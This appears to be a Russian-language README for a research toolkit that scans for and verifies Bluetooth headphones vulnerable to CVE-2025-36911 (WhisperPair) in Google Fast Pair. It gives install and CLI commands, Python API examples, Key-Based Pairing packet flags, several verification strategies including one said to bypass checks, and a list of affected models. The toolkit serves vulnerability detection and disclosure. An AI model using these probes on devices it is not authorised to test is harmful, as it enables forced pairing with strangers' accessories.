
Перехват Bluetooth-аксессуаров с помощью Google Fast Pair: WhisperPair CVE-2025-36911 — эталонная реализация и набор инструментов для проверки уязвимости
CVE-2025-36911: Эталонная реализация и набор инструментов для проверки уязвимостей
ОФИЦИАЛЬНАЯ РЕАЛИЗАЦИЯ ТЕПЕРЬ ДОСТУПНА, спасибо команде из KU Leuven (Спасибо за упоминание)
ПРАВОВОЕ УВЕДОМЛЕНИЕ: Это инструмент для исследования безопасности. Прочтите LEGAL.md перед использованием. Несанкционированный доступ к компьютерным системам является уголовным преступлением.
Перехват Bluetooth-аксессуаров с помощью Google Fast Pair.
WhisperPair (CVE-2025-36911) — это критическая уязвимость, которая позволяет злоумышленникам принудительно сопрягаться с флагманскими аудиоаксессуарами без согласия пользователя, часто менее чем за 10 секунд.
DIY-WhisperPair — это набор инструментов для исследования, реализующий эти атаки для демонстрации трех ключевых рисков:
[!NOTE] Только для исследований: Этот набор содержит доказательные сканеры и верификаторы. Он не включает инструменты для активного прослушивания, постоянного отслеживания местоположения или внедрения вредоносных нагрузок. Его цель — исключительно выявление уязвимых устройств.
# Установка
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
pip install -e .
# Запуск интерактивного CLI
whisperpair
Запускается интерактивное меню:
╦ ╦╦ ╦╦╔═╗╔═╗╔═╗╦═╗╔═╗╔═╗╦╦═╗
║║║╠═╣║╚═╗╠═╝║╣ ╠╦╝╠═╝╠═╣║╠╦╝
╚╩╝╩ ╩╩╚═╝╩ ╚═╝╩╚═╩ ╩ ╩╩╩╚═
────────────── Главное меню ──────────────
1 Сканировать Обнаружить устройства Fast Pair поблизости
2 Проверить Проверить уязвимость устройства (требуется авторизация)
3 Инфо Получить подробную информацию об устройстве
4 О программе Узнать о CVE-2025-36911
0 Выход Завершить работу приложения
Выберите опцию [1]:
Эта библиотека спроектирована так, чтобы быть легко расширяемой. Импортируйте то, что нужно:
import asyncio
from whisperpair import scan_devices, verify_device, get_device_info
# Сканирование устройств Fast Pair
devices = asyncio.run(scan_devices(timeout=10))
for d in devices:
print(f"{d.address} - {d.name} - Риск: {'ВЫСОКИЙ' if not d.is_in_pairing_mode else 'Низкий'}")
# Поиск только уязвимых устройств (не в режиме сопряжения)
vulnerable = asyncio.run(scan_devices(vulnerable_only=True))
# Проверка конкретного устройства (ТРЕБУЕТСЯ АВТОРИЗАЦИЯ)
result = asyncio.run(verify_device("AA:BB:CC:DD:EE:FF"))
if result.success:
print(f"УЯЗВИМО - Провайдер: {result.provider_address}")
# Получение информации об устройстве
info = asyncio.run(get_device_info("AA:BB:CC:DD:EE:FF"))
print(f"Модель: {info['model_name']}")
from whisperpair import (
# Сканер
FastPairScanner,
FastPairDevice,
# Клиент
FastPairClient,
VerificationResult,
# Протокол
KeyBasedPairingRequest,
KeyBasedPairingResponse,
PairingRequestFlags,
parse_bluetooth_address,
parse_kbp_response_multi_strategy,
# Криптография
FastPairCrypto,
aes_128_encrypt,
aes_128_decrypt,
generate_account_key,
# Константы
FAST_PAIR_SERVICE_UUID,
KEY_BASED_PAIRING_CHAR_UUID,
KNOWN_MODEL_IDS,
)
# Пользовательский сканер с колбэками
def on_found(device: FastPairDevice):
if not device.is_in_pairing_mode:
print(f"[!] Потенциальная цель: {device.address}")
scanner = FastPairScanner(timeout=15, on_device_found=on_found)
asyncio.run(scanner.scan())
# Сборка сырых пакетов протокола (флаги 0x11 = INITIATE_BONDING | EXTENDED_RESPONSE)
target_bytes = parse_bluetooth_address("AA:BB:CC:DD:EE:FF")
request = KeyBasedPairingRequest.for_verification(provider_address=target_bytes)
packet = request.build() # 16-байтовый открытый текст
# Доступно несколько стратегий проверки:
# - strategy_raw_kbp() - флаги 0x11, работает на большинстве уязвимых устройств
# - strategy_with_seeker() - флаги 0x02, включает адрес ищущего
# - strategy_retroactive() - флаги 0x0A, обходит некоторые проверки
# - strategy_extended() - флаги 0x10, для новых устройств
# Полный пользовательский поток (AES-ключ опционален — обнаружение ответа уже указывает на уязвимость)
async with FastPairClient("AA:BB:CC:DD:EE:FF") as client:
model_id = await client.read_model_id()
result = await client.verify_pairing_behavior() # Ключ не нужен для обнаружения
if result.response_received:
print("УЯЗВИМО — устройство ответило, хотя не должно")
Смотрите examples.py для готовых примеров:
python examples.py scan # Базовое сканирование
python examples.py vulnerable # Поиск уязвимых устройств
python examples.py verify AA:BB:CC:DD:EE:FF
python examples.py custom # Сканер с колбэками
whisperpair
# Сканирование устройств
whisperpair scan
whisperpair scan --vulnerable
whisperpair scan --timeout 15
# Получение информации об устройстве
whisperpair info AA:BB:CC:DD:EE:FF
# Проверка уязвимости (требуются флаги)
whisperpair verify AA:BB:CC:DD:EE:FF --authorized
# Информация об уязвимости
whisperpair about
Этот инструмент выполняет активные Bluetooth-операции. Перед запуском любых команд проверки у вас должно быть:
Смотрите LEGAL.md для подробных инструкций.
Google Fast Pair требует, чтобы устройства принимали запросы на сопряжение только при нахождении в режиме сопряжения. Многие устройства не выполняют эту проверку:
ОЖИДАЕМО: Устройство проверяет "Нахожусь ли я в режиме сопряжения?" → НЕТ → Отклоняет
ФАКТИЧЕСКИ: Устройство принимает запрос независимо от состояния режима
Уязвимость обнаруживается путём проверки, отвечает ли устройство вообще на запрос Key-Based Pairing, когда не находится в режиме сопряжения:
graph TD
subgraph Packet["Key-Based Pairing Request (16 bytes)"]
direction LR
B0["0x00"]
B1["0x11"]
MAC["MAC: 6 bytes"]
Salt["Salt: 8 bytes"]
end
B0:::byte -- "Message Type" --> Desc0["Key-Based Pairing Request"]
B1:::byte -- "Flags" --> Desc1["INITIATE_BONDING | EXTENDED_RESP"]
classDef byte fill:#e1f5fe,stroke:#333,stroke-width:1px;Обнаружение: Ответ получен = УЯЗВИМО (AES-ключ не нужен!)
Злоумышленник в зоне действия Bluetooth (~10-14 м) может:
| Производитель | Устройства |
|---|---|
DIY_WhisperPair/
├── src/whisperpair/
│ ├── __init__.py # Экспорт публичного API
│ ├── scanner.py # Обнаружение BLE-устройств
│ ├── client.py # GATT-клиент и проверка
│ ├── protocol.py # Сборщики пакетов
│ ├── crypto.py # AES-128, ECDH, ключи
│ ├── constants.py # UUID, ID моделей
│ └── cli.py # Интерактивный CLI
├── examples.py # Фрагменты кода для копирования
├── security_demo.py # Автономная демонстрация проверки
├── LEGAL.md
└── README.md
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
python3 -m venv venv
source venv/bin/activate # Linux/macOS
pip install -e .
Этот инструмент предоставляется исключительно для:
НЕ для: Несанкционированного доступа, преследования, слежки или любой незаконной деятельности.
Лицензия MIT — см. LICENSE
| Юрисдикция | Соответствующий закон |
|---|
| Великобритания | Закон о неправомерном использовании компьютеров 1990 г., разделы 1-3A |
| США | Закон о компьютерном мошенничестве и злоупотреблениях (CFAA) |
| ЕС | Директива 2013/40/EU |
| Германия | § 202a-c StGB |
| Австралия | Уголовный кодекс 1995 г., часть 10.7 |
| Pixel Buds Pro 2 |
| Sony | WF-1000XM4, WH-1000XM5, LinkBuds S |
| JBL | Tune Buds, Live Pro 2 |
| Anker | Soundcore Liberty 4 |
| Другие | См. whisperpair.eu |